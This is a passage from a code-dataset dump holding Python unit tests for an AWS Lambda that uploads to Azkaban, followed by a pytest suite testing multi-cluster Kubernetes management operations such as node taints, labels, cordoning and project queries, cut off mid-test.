'EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE',\n 'SecretBinary': b'{\"azkaban_username\": \"test_user\", \"azkaban_password\": \"pw123\"}',\n 'CreatedDate': datetime(2015, 1, 1)\n}\nsm_stubber.add_response('get_secret_value', mock_secret_value_response)\nsm_stubber.add_response('get_secret_value', mock_secret_value_response)\nsm_stubber.activate()\n\ndata_non_fail = json.dumps({\n \"status\" : \"error\",\n \"message\" : \"Project already exists.\",\n}).encode('utf-8')\n\nhttp_non_fail_error= Mock()\nhttp_non_fail_error.data = data_non_fail\n\ndata_fail = json.dumps({\n \"error\" : \"error\",\n \"message\" : \"Other message.\",\n}).encode('utf-8')\n\nhttp_raise_error = Mock()\nhttp_raise_error.data = data_fail\n\nhttp_status_error = Mock()\nhttp_status_error.data = \"non JSON error response\".encode('utf-8')\nhttp_status_error.status = 418\n\nsession_data = json.dumps({\n \"status\" : \"success\",\n \"session.id\" : \"test-session-id-12345432\"\n}).encode('utf-8')\n\nhttp_session = Mock()\nhttp_session.data = session_data\nhttp_session.status = 200\n\nclass LambdaHandlerTests(TestCase):\n def test_get_files_from_s3(self):\n result = lambda_handler.project_object_keys(mock_s3_client, \"bucket_id\", \"s3_dir\")\n\n assert result == ['return1.zip', 'return2.zip']\n\n @patch('lambda_handler.create_project')\n @patch('urllib3.PoolManager')\n def test_upload_to_azkaban_api_error_in_response(self, mock_http, mock_create_project):\n mock_http.request.return_value = http_raise_error\n\n with self.assertRaises(urllib3.exceptions.ResponseError) as context:\n lambda_handler.upload_to_azkaban_api('zip_file', 'zip_file_name', 'session_id', mock_http, 'azkaban_url')\n\n mock_http.request.assert_called_once()\n self.assertTrue(str(context.exception) == \"Failure uploading zip_file_name to Azkaban API - Error in API response body.\")\n\n @patch('lambda_handler.create_project')\n @patch('urllib3.PoolManager')\n def test_upload_to_azkaban_api_non_200_status(self, mock_http, mock_create_project):\n mock_http.request.return_value = http_status_error\n\n with self.assertRaises(urllib3.exceptions.ResponseError) as context:\n lambda_handler.upload_to_azkaban_api('zip_file', 'zip_file_name', 'session_id', mock_http, 'azkaban_url')\n\n mock_http.request.assert_called_once()\n self.assertTrue(str(context.exception) == \"Failure uploading zip_file_name to Azkaban API - non 200 status returned.\")\n\n\n @patch('urllib3.PoolManager')\n def test_create_project_error_handling_error_path(self, mock_http):\n mock_http.request.return_value = http_raise_error\n\n with self.assertRaises(urllib3.exceptions.ResponseError) as context:\n lambda_handler.create_project('azkaban_url', mock_http, 'session_id', 'test_project')\n\n mock_http.request.assert_called_once()\n self.assertTrue(str(context.exception) == 'Other message.')\n\n @patch('urllib3.PoolManager')\n def test_create_project_error_handling_happy_path(self, mock_http):\n mock_http.request.return_value = http_non_fail_error\n\n lambda_handler.create_project('azkaban_url', mock_http, 'session_id', 'test_project')\n mock_http.request.assert_called_once()\n\n @patch('lambda_handler.os.getenv')\n @patch('urllib3.PoolManager')\n @patch('lambda_handler.boto3')\n def test_establish_azkaban_session_raise_error(self, mock_boto3, mock_http, mock_getenv):\n mock_boto3.client.return_value = mock_sm_client\n mock_http.request.return_value = http_non_fail_error\n mock_getenv.side_effect = [\"www.test_url.com\", \"test_secret\"]\n\n with self.assertRaises(urllib3.exceptions.ResponseError) as context:\n lambda_handler.establish_azkaban_session(mock_http)\n\n mock_http.request.assert_called_once()\n self.assertTrue(str(context.exception) == 'Failure establising Azkaban API session.')\n\n @patch('lambda_handler.os.getenv')\n @patch('urllib3.PoolManager')\n @patch('lambda_handler.boto3')\n def test_establish_azkaban_session(self, mock_boto3, mock_http, mock_getenv):\n mock_boto3.client.return_value = mock_sm_client\n mock_http.request.return_value = http_session\n mock_getenv.side_effect = [\"www.test_url.com\", \"test_secret\"]\n\n result = lambda_handler.establish_azkaban_session(mock_http)\n assert result == \"test-session-id-12345432\"\n", "repo_name": "dwp/aws-azkaban", "sub_path": "azkaban_zip_uploader/tests/lambda_handler_tests.py", "file_name": "lambda_handler_tests.py", "file_ext": "py", "file_size_in_byte": 6144, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "boto3.client", "line_number": 10, "usage_type": "call"}, {"api_name": "botocore.stub.Stubber", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 57, "usage_type": "call"}, {"api_name": "botocore.stub.Stubber", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 64, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 75, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 78, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 83, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 86, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 90, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 95, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 99, "usage_type": "name"}, {"api_name": "lambda_handler.project_object_keys", "line_number": 101, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 110, "usage_type": "attribute"}, {"api_name": "lambda_handler.upload_to_azkaban_api", "line_number": 111, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 105, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 106, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 121, "usage_type": "attribute"}, {"api_name": "lambda_handler.upload_to_azkaban_api", "line_number": 122, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 116, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 117, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 132, "usage_type": "attribute"}, {"api_name": "lambda_handler.create_project", "line_number": 133, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 128, "usage_type": "call"}, {"api_name": "lambda_handler.create_project", "line_number": 142, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 138, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 153, "usage_type": "attribute"}, {"api_name": "lambda_handler.establish_azkaban_session", "line_number": 154, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 145, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 146, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 147, "usage_type": "call"}, {"api_name": "lambda_handler.establish_azkaban_session", "line_number": 167, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 159, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 160, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 161, "usage_type": "call"}]} {"seq_id": "70592037985", "text": "# -- coding: utf-8 --\nimport pytest\nimport allure\nimport sys\nimport time\nimport random\nfrom datetime import datetime\nfrom common import commonFunction\nfrom step import multi_cluster_steps, project_steps, multi_workspace_steps, platform_steps, cluster_steps\n\nsys.path.append('../') # 将项目路径加到搜索路径中，使得自定义模块可以引用\n\n\n@allure.feature('多集群环境集群管理')\n@pytest.mark.skipif(commonFunction.check_multi_cluster() is False, reason='未开启多集群功能')\n@pytest.mark.skipif(commonFunction.check_multi_cluster() is False, reason='单集群环境下不执行')\nclass TestCluster(object):\n # 如果为单集群环境，则不会collect该class的所有用例。 __test__ = False\n __test__ = commonFunction.check_multi_cluster()\n\n cluster_names = []\n cluster_host_name = ''\n cluster_any_name = ''\n\n def setup_class(self):\n # 获取所有集群的名称\n self.cluster_names = multi_cluster_steps.step_get_cluster_name()\n # 获取host集群的名称\n self.cluster_host_name = multi_cluster_steps.step_get_host_cluster_name()\n # 获取多集群环境的集群名称\n response = multi_cluster_steps.step_get_cluster()\n # 获取集群的数量\n cluster_count = response.json()['totalItems']\n i = random.randint(0, cluster_count - 1)\n # 获取某个集群的名称\n self.cluster_any_name = response.json()['items'][i]['metadata']['name']\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的版本信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_version(self):\n # 查询集群的版本信息\n for name in self.cluster_names:\n r = multi_cluster_steps.step_get_cluster_version(name)\n # 获取版本号\n cluster_version = r.json()['gitVersion']\n # 验证版本号获取成功\n assert cluster_version\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的clusterrole信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_roles(self):\n for cluster_name in self.cluster_names:\n # 查询每个集群的clusterrole信息\n response = multi_cluster_steps.step_get_cluster_roles(cluster_name)\n count = response.json()['totalItems']\n name_1 = response.json()['items'][0]['metadata']['name']\n name_2 = response.json()['items'][1]['metadata']['name']\n # 验证查询成功\n assert count == 2\n assert name_1 == 'cluster-viewer'\n assert name_2 == 'cluster-admin'\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群指定的clusterrole信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_roles_by_name(self):\n condition = 'name=cluster'\n for cluster_name in self.cluster_names:\n # 查询每个集群的clusterrole信息\n response = multi_cluster_steps.step_get_cluster_roles(cluster_name, condition)\n count = response.json()['totalItems']\n name_1 = response.json()['items'][0]['metadata']['name']\n name_2 = response.json()['items'][1]['metadata']['name']\n # 验证查询成功\n assert count == 2\n assert name_1 == 'cluster-viewer'\n assert name_2 == 'cluster-admin'\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的namespaces信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_namespaces(self):\n for cluster_name in self.cluster_names:\n # 查询每个集群的namespaces信息\n r = multi_cluster_steps.step_get_cluster_namespace(cluster_name)\n # 获取namespace数量\n namespaces_count = r.json()['totalItems']\n # 验证namespaces数量大于0\n assert namespaces_count > 0\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的component信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_component(self):\n for cluster_name in self.cluster_names:\n # 查询每个集群的component信息\n r = multi_cluster_steps.step_get_cluster_components(cluster_name)\n # 验证组件数量大于0\n assert len(r.json()) > 0\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的监控metrics')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_monitoring_metrics(self):\n for cluster_name in self.cluster_names:\n # 查询每个集群的监控metrics\n r = multi_cluster_steps.step_get_cluster_monitoring_metrics(cluster_name)\n # 获取监控的metrics数量\n metrics_count = len(r.json()['results'])\n # 验证监控的metrics数量为8\n assert metrics_count == 8\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的apiserver监控metrics')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_apiserver_monitoring_metrics(self):\n for cluster_name in self.cluster_names:\n # 查询每个集群的apiserver监控metrics\n r = multi_cluster_steps.step_get_cluster_apiserver_monitoring_metrics(cluster_name)\n # 获取apiserver监控metrics数量\n count = len(r.json()['results'])\n # 验证apiserver监控metrics的数量为2\n assert count == 2\n\n @allure.story(\"概览\")\n @allure.title('查看每个集群的调度器信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_scheduler(self):\n for cluster_name in self.cluster_names:\n # 查询每个集群的调度器信息\n r = multi_cluster_steps.step_get_cluster_scheduler(cluster_name)\n # 获取metric_name\n metric_name = r.json()['results'][0]['metric_name']\n # 验证metric_name为 scheduler_schedule_attempts\n assert metric_name == 'scheduler_schedule_attempts'\n\n @allure.story(\"节点\")\n @allure.title('为每个集群的某个节点设置污点')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_set_taints(self):\n for cluster_name in self.cluster_names:\n # 污点信息\n taints = [{\"key\": \"tester\", \"value\": \"wx\", \"effect\": \"NoSchedule\"}]\n # 获取节点列表中第一个节点的名称\n res = multi_cluster_steps.step_get_nodes(cluster_name)\n node_name = res.json()['items'][0]['metadata']['name']\n # 为节点设置污点\n multi_cluster_steps.step_ste_taints(cluster_name, node_name, taints)\n # 获取节点的污点信息\n r = multi_cluster_steps.step_get_node_detail_info(cluster_name, node_name)\n taints_actual = r.json()['spec']['taints']\n # 验证污点设置成功\n with pytest.assume:\n assert taints == taints_actual\n # 清空设置的污点\n multi_cluster_steps.step_ste_taints(cluster_name=cluster_name, node_name=node_name, taints=[])\n\n @allure.story(\"节点\")\n @allure.title('为每个集群的某个节点添加标签')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_add_labels(self):\n for cluster_name in self.cluster_names:\n # 获取节点列表中第一个节点的名称\n res = multi_cluster_steps.step_get_nodes(cluster_name)\n node_name = res.json()['items'][0]['metadata']['name']\n # 获取节点的标签信息\n re = multi_cluster_steps.step_get_node_detail_info(cluster_name, node_name)\n labels_old = re.json()['metadata']['labels'] # 用于删除添加的标签\n labels = re.json()['metadata']['labels'] # 用于添加标签\n # 添加标签的内容\n labels['tester/label'] = 'wxx'\n # 添加标签\n multi_cluster_steps.step_add_labels_for_node(cluster_name, node_name, labels)\n # 获取编辑后节点的标签信息\n r = multi_cluster_steps.step_get_node_detail_info(cluster_name, node_name)\n labels_actual = r.json()['metadata']['labels']\n # 验证标签添加成功\n with pytest.assume:\n assert labels == labels_actual\n # 删除添加的标签\n labels_old['tester/label'] = None\n multi_cluster_steps.step_add_labels_for_node(cluster_name, node_name, labels_old)\n\n @allure.story('节点')\n @allure.title('设置每个集群的某个节点为停止调度, 然后设置为启用调度')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_set_uncordon_node(self):\n for cluster_name in self.cluster_names:\n # 获取节点列表中第一个节点的名称\n res = multi_cluster_steps.step_get_nodes(cluster_name)\n node_name = res.json()['items'][0]['metadata']['name']\n # 设置节点为停止调度\n multi_cluster_steps.step_cordon_node(cluster_name, node_name, True)\n # 获取节点的调度状态\n r = multi_cluster_steps.step_get_node_detail_info(cluster_name, node_name)\n cordon_status = r.json()['spec']['unschedulable']\n # 验证节点调度状态为停止调度\n with pytest.assume:\n assert cordon_status == True\n # 设置节点为启用调度\n multi_cluster_steps.step_cordon_node(cluster_name, node_name, False)\n\n @allure.story('节点')\n @allure.title('查看每个集群的某个节点的pod信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_pods(self):\n for cluster_name in self.cluster_names:\n # 获取节点列表中第一个节点的名称\n re = multi_cluster_steps.step_get_nodes(cluster_name)\n node_name = re.json()['items'][0]['metadata']['name']\n # 查看节点的pod信息\n r = multi_cluster_steps.step_get_pod_of_node(cluster_name, node_name)\n # 验证pod信息查询成功\n assert r.status_code == 200\n\n @allure.story('节点')\n @allure.title('查看每个集群的某个节点的event信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_events(self):\n for cluster_name in self.cluster_names:\n # 获取节点列表中第一个节点的名称\n re = multi_cluster_steps.step_get_nodes(cluster_name)\n node_name = re.json()['items'][0]['metadata']['name']\n # 查看节点的event信息\n r = multi_cluster_steps.step_get_event_of_node(cluster_name, node_name)\n # 获取资源类型\n kind = r.json()['kind']\n # 验证event信息查询成功\n assert kind == 'EventList'\n\n @allure.story('节点')\n @allure.title('查看每个集群的某个节点的监控信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_monitoring(self):\n for cluster_name in self.cluster_names:\n # 获取节点列表中第一个节点的名称\n re = multi_cluster_steps.step_get_nodes(cluster_name)\n node_name = re.json()['items'][0]['metadata']['name']\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取10分钟之前的戳\n before_timestamp = commonFunction.get_before_timestamp(now_time, 10)\n # 查看最近十分钟的监控信息\n r = multi_cluster_steps.step_get_metrics_of_node(cluster_name=cluster_name, node_name=node_name,\n start_time=before_timestamp,\n end_time=now_timestamp,\n step='60s', times='10')\n # 获取查询到的数据的结果类型\n result_type = r.json()['results'][0]['data']['resultType']\n # 验证查询到的数据的结果类型\n assert result_type == 'matrix'\n\n @allure.story('节点')\n @allure.title('查看某个集群的某个节点的状态信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_status(self):\n # 获取节点列表中第一个节点的名称\n re = multi_cluster_steps.step_get_nodes(self.cluster_any_name)\n node_name = re.json()['items'][0]['metadata']['name']\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取20分钟之前的时间戳\n before_timestamp = commonFunction.get_before_timestamp(now_time, 20)\n # 查看节点的状态信息\n r = multi_cluster_steps.step_get_status_of_node(cluster_name=self.cluster_any_name, node_name=node_name,\n start_time=before_timestamp,\n end_time=now_timestamp, step='180s', times='20')\n # 获取查询结果中的节点信息\n node = r.json()['results'][0]['data']['result'][0]['metric']['node']\n # 验证查询结果正确\n assert node == node_name\n\n @allure.story('节点')\n @allure.title('在某个集群中查询节点中不存在的pod')\n @allure.severity(allure.severity_level.NORMAL)\n def test_query_non_existent_pod(self):\n # 获取节点列表中第一个节点的名称\n res = multi_cluster_steps.step_get_nodes(self.cluster_any_name)\n node_name = res.json()['items'][0]['metadata']['name']\n # 查询不存在的pod\n pod_name = 'non-existent'\n re = multi_cluster_steps.step_query_pod(self.cluster_any_name, node_name, pod_name)\n # 获取查询结果\n total_items = re.json()['totalItems']\n # 验证查询结果\n assert total_items == 0\n\n @allure.story('节点')\n @allure.title('按名称在某个集群中精确查询节点中存在的pod')\n @allure.severity(allure.severity_level.NORMAL)\n def test_precise_query_existent_pod(self):\n # 获取节点列表中第一个节点的名称\n res = multi_cluster_steps.step_get_nodes(self.cluster_any_name)\n node_name = res.json()['items'][0]['metadata']['name']\n # 获取节点的任意一个pod的名称\n re = multi_cluster_steps.step_get_pod_of_node(self.cluster_any_name, node_name)\n pod_name = re.json()['items'][0]['metadata']['name']\n # 按名称精确查询存在的pod\n r = multi_cluster_steps.step_query_pod(self.cluster_any_name, node_name, pod_name)\n # 获取查询到的pod名称\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果\n assert name_actual == pod_name\n\n @allure.story('节点')\n @allure.title('按名称在某个集群模糊查询节点中存在的pod')\n @allure.severity(allure.severity_level.NORMAL)\n def test_fuzzy_query_existent_pod(self):\n # 获取节点列表中第一个节点的名称\n res = multi_cluster_steps.step_get_nodes(self.cluster_any_name)\n node_name = res.json()['items'][0]['metadata']['name']\n # 获取节点的任意一个pod的名称\n re = multi_cluster_steps.step_get_pod_of_node(self.cluster_any_name, node_name)\n pod_name = re.json()['items'][0]['metadata']['name']\n # 按名称模糊查询存在的pod\n pod_fuzzy_name = pod_name[2:]\n r = multi_cluster_steps.step_query_pod(self.cluster_any_name, node_name, pod_fuzzy_name)\n # 获取查询到的pod名称\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果\n assert name_actual == pod_name\n\n @allure.story('边缘节点')\n @allure.title('在某个集群中查看边缘节点列表')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.skipif(commonFunction.get_components_status_of_cluster('whizard') is False, reason='集群已未开启边缘节点功能')\n def test_get_edge_nodes(self):\n # 查看边缘节点列表\n re = multi_cluster_steps.step_get_edge_nodes(self.cluster_any_name)\n # 获取查询结果\n count = re.json()['totalItems']\n # 验证查询结果\n assert count >= 0\n\n @allure.story('边缘节点')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.skipif(commonFunction.get_components_status_of_cluster('kubeedge') is False, reason='集群已未开启边缘节点功能')\n @pytest.mark.parametrize('ip, title, status_code',\n [('10.10.10', '添加边缘节点时，校验ip地址格式-不符合格式的ip地址', '400'),\n ('10.10.10.10', '添加边缘节点时，校验ip地址格式-符合格式的ip地址', '200')])\n def test_add_edge_node_with_invalid_ip(self, ip, title, status_code):\n # 添加边缘节点\n node_name = 'edge-node'\n re = multi_cluster_steps.step_check_internal_ip(self.cluster_host_name, node_name, ip)\n assert re.status_code == int(status_code)\n\n @allure.story('边缘节点')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.skipif(commonFunction.get_components_status_of_cluster('kubeedge') is False, reason='集群已未开启边缘节点功能')\n @pytest.mark.parametrize('add_default_taint, title, result',\n [('true', '获取边缘节点配置命令-添加默认污点', True),\n ('false', '获取边缘节点配置命令-不添加默认污点', False)])\n def test_get_edge_node_config_command(self, title, add_default_taint, result, ip_address):\n # 添加边缘节点\n node_name = 'edge-node' + str(commonFunction.get_random())\n re = multi_cluster_steps.step_get_edge_node_config_command(self.cluster_host_name, node_name, ip_address,\n add_default_taint)\n result_new = 'with-edge-taint' in re.json()['data']\n assert result_new == result\n\n @allure.story('项目')\n @allure.title('按名称在某个集群精确查询集群中不存在的系统项目')\n @allure.severity(allure.severity_level.NORMAL)\n def test_precise_non_existent_system_project(self):\n project_name = 'non-existent-project'\n # 查询指定的集群的系统项目\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, project_name)\n # 获取查询结果\n items = re.json()['items']\n # 验证查询结果为空\n assert items == []\n\n @allure.story('项目')\n @allure.title('按名称在某个集群精确查询集群中存在的系统项目')\n @allure.severity(allure.severity_level.NORMAL)\n def test_precise_query_existent_system_project(self):\n # 获取集群任意系统项目的名称\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_name = re.json()['items'][0]['metadata']['name']\n # 按名称精确查询系统项目\n r = multi_cluster_steps.step_query_system_project(self.cluster_any_name, project_name)\n # 获取查询结果\n project_name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果\n assert project_name_actual == project_name\n\n @allure.story('项目')\n @allure.title('按名称在某个集群模糊查询集群中存在的系统项目')\n @allure.severity(allure.severity_level.NORMAL)\n def test_fuzzy_query_existent_system_project(self):\n # 获取集群任意系统项目的名称\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_name = re.json()['items'][0]['metadata']['name']\n # 按名称精确查询系统项目\n fuzzy_project_name = project_name[2:]\n r = multi_cluster_steps.step_query_system_project(self.cluster_any_name, fuzzy_project_name)\n # 获取查询结果\n project_name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果\n assert project_name_actual == project_name\n\n @allure.story('项目')\n @allure.title('查询某个集群中所有系统项目的详情信息,并验证其状态为活跃')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_system_project_state(self):\n # 获取集群中系统项目的数量\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = re.json()['totalItems']\n # 获取集群系统项目的名称\n for j in range(0, project_count):\n project_name = re.json()['items'][j]['metadata']['name']\n # 查询项目的详细信息\n r = multi_cluster_steps.step_get_project_detail(self.cluster_any_name, project_name)\n # 获取项目的状态\n status = r.json()['status']['phase']\n # 验证项目运行状态为活跃\n assert status == 'Active'\n\n @allure.story('项目')\n @allure.title('查询某个集群中所有系统项目的配额信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_one_system_project_quota(self):\n # 获取集群中系统项目的数量\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = re.json()['totalItems']\n for j in range(0, project_count):\n # 获取集群所有系统项目的名称\n project_name = re.json()['items'][j]['metadata']['name']\n # 查询项目的配额信息\n r = multi_cluster_steps.step_get_project_quota(self.cluster_any_name, project_name)\n # 获取项目的配额信息\n used = r.json()['data']['used']\n # 验证项目配额信息获取成功\n assert 'count/pods' in used\n\n @allure.story('项目')\n @allure.title('查询某个集群中所有系统项目的LimitRanges信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_one_system_project_detail(self):\n # 获取集群中系统项目的数量\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = re.json()['totalItems']\n for j in range(0, project_count):\n # 获取集群系统项目的名称\n project_name = re.json()['items'][j]['metadata']['name']\n # 查询项目的LimitRanges\n r = multi_cluster_steps.step_get_project_limit_ranges(self.cluster_any_name, project_name)\n # 获取请求资源的kind\n kind = r.json()['kind']\n # 验证请求资源的kind为LimitRangeList\n assert kind == 'LimitRangeList'\n\n @allure.story('项目')\n @allure.title('查询某个集群中任一系统项目的工作负载信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_system_project_workload(self):\n # 获取集群中系统项目的数量\n res = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = res.json()['totalItems']\n j = random.randint(0, project_count - 1)\n # 获取集群任意系统项目的名称\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_name = re.json()['items'][j]['metadata']['name']\n # 查询项目的工作负载信息\n r = multi_cluster_steps.step_get_project_workload(self.cluster_any_name, project_name)\n # 获取接口的响应数据\n data = r.json()['data']\n # 验证接口响应数据正确\n data_except = ['daemonsets', 'deployments', 'jobs', 'persistentvolumeclaims', 'statefulsets']\n assert data_except[random.randint(0, 4)] in data\n\n @allure.story('项目')\n @allure.title('查看某个集群中所有系统项目的pod运行情况')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_system_project_pods(self):\n res = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = res.json()['totalItems']\n # 获取集群中所有系统项目的名称\n for j in range(0, project_count):\n project_name = res.json()['items'][j]['metadata']['name']\n # 查询项目的pods信息\n r = multi_cluster_steps.step_get_pods_of_project(cluster_name=self.cluster_any_name,\n project_name=project_name)\n # 获取pod的数量\n pod_count = r.json()['totalItems']\n # 获取所有pod的状态\n for k in range(0, pod_count):\n state = r.json()['items'][k]['status']['phase']\n # 获取pod的名称\n pod_name = r.json()['items'][k]['metadata']['name']\n if state not in ['Running', 'Succeeded']:\n print(\n '集群：' + self.cluster_any_name + ' 项目：' + project_name + ' 容器组：' + pod_name + ' 状态不正常')\n else:\n # 验证pod的运行状态\n assert state in ['Running', 'Succeeded']\n\n @allure.story('项目')\n @allure.title('在某个集群中使用名称精确查询项目中存在的pod')\n @allure.severity(allure.severity_level.NORMAL)\n def test_precise_query_existent_pod_of_project(self):\n # 用于存放pod的名称\n pod_names = []\n # 获取集群中任一系统项目的名称\n res = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = res.json()['totalItems']\n j = random.randint(0, project_count - 1)\n project_name = res.json()['items'][j]['metadata']['name']\n # 查询项目的所有的pod信息\n re = multi_cluster_steps.step_get_pods_of_project(cluster_name=self.cluster_any_name, project_name=project_name)\n # 获取pod的数量\n pod_count = re.json()['totalItems']\n # 获取项目所有的pod的名称\n if pod_count > 0:\n for k in range(0, pod_count):\n name = re.json()['items'][k]['metadata']['name']\n pod_names.append(name)\n # 使用pod的名称，精确查询存在的pod\n r = multi_cluster_steps.step_get_pods_of_project(self.cluster_any_name, project_name,\n 'name=' + pod_names[0])\n # 获取查询结果中pod名称\n pod_name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果正确\n assert pod_name_actual == pod_names[0]\n else:\n print('项目：' + project_name + ' 不存在pod')\n\n @allure.story('项目')\n @allure.title('在某个集群中使用名称模糊查询项目中存在的pod')\n @allure.severity(allure.severity_level.NORMAL)\n def test_fuzzy_query_existent_pod_of_project(self):\n # 用于存放pod的名称\n pod_names = []\n # 获取集群中任一系统项目的名称\n res = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_count = res.json()['totalItems']\n j = random.randint(0, project_count - 1)\n project_name = res.json()['items'][j]['metadata']['name']\n # 查询项目的所有的pod信息\n re = multi_cluster_steps.step_get_pods_of_project(cluster_name=self.cluster_any_name, project_name=project_name)\n # 获取pod的数量\n pod_count = re.json()['totalItems']\n # 获取项目所有的pod的名称\n if pod_count > 0:\n for k in range(0, pod_count):\n name = re.json()['items'][k]['metadata']['name']\n pod_names.append(name)\n # 使用pod的名称，精确查询存在的pod\n r = multi_cluster_steps.step_get_pods_of_project(self.cluster_any_name, project_name,\n 'name=' + pod_names[0][2:])\n # 获取查询结果中pod名称\n pod_name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果正确\n assert pod_name_actual == pod_names[0]\n else:\n print('项目：' + project_name + ' 不存在pod')\n\n @allure.story('项目')\n @allure.title('在某个集群中使用名称查询项目中不存在的pod')\n @allure.severity(allure.severity_level.NORMAL)\n def test_fuzzy_query_existent_pod_of_project(self):\n # 获取集群中任一系统项目的名称\n re = multi_cluster_steps.step_query_system_project(self.cluster_any_name, '')\n project_name = re.json()['items'][3]['metadata']['name']\n # 使用pod的名称，模糊查询存在的pod\n pod_name = 'test' + str(commonFunction.get_random())\n r = multi_cluster_steps.step_get_pods_of_project(self.cluster_any_name, project_name, 'name=' + pod_name)\n # 获取查询结果中的pod数量\n pod_count = r.json()['totalItems']\n # 验证查询结果正确\n assert pod_count == 0\n\n @allure.story('项目')\n @allure.title('在某个集群中创建用户项目，并验证项目创建成功')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_create_user_system(self):\n project_name = 'user-project' + str(commonFunction.get_random())\n alias_name = 'test'\n description = 'create user-system'\n # 创建用户项目\n multi_cluster_steps.step_create_user_project(self.cluster_any_name, project_name, alias_name, description)\n # 查询创建的项目，并获取其运行状态\n r = multi_cluster_steps.step_get_user_system(self.cluster_any_name, project_name)\n state = r.json()['status']['phase']\n # 验证项目的状态为active\n with pytest.assume:\n assert state == 'Active'\n # 删除创建的项目\n multi_cluster_steps.step_delete_user_system(self.cluster_any_name, project_name)\n\n @allure.story('项目')\n @allure.title('在每个集群删除用户项目，并验证删除成功')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_delete_user_system(self):\n status = ''\n project_name = 'user-project' + str(commonFunction.get_random())\n alias_name = 'test'\n description = 'create user-system'\n # 创建用户项目\n multi_cluster_steps.step_create_user_project(self.cluster_any_name, project_name, alias_name, description)\n # 删除用户项目\n re = multi_cluster_steps.step_delete_user_system(self.cluster_any_name, project_name)\n 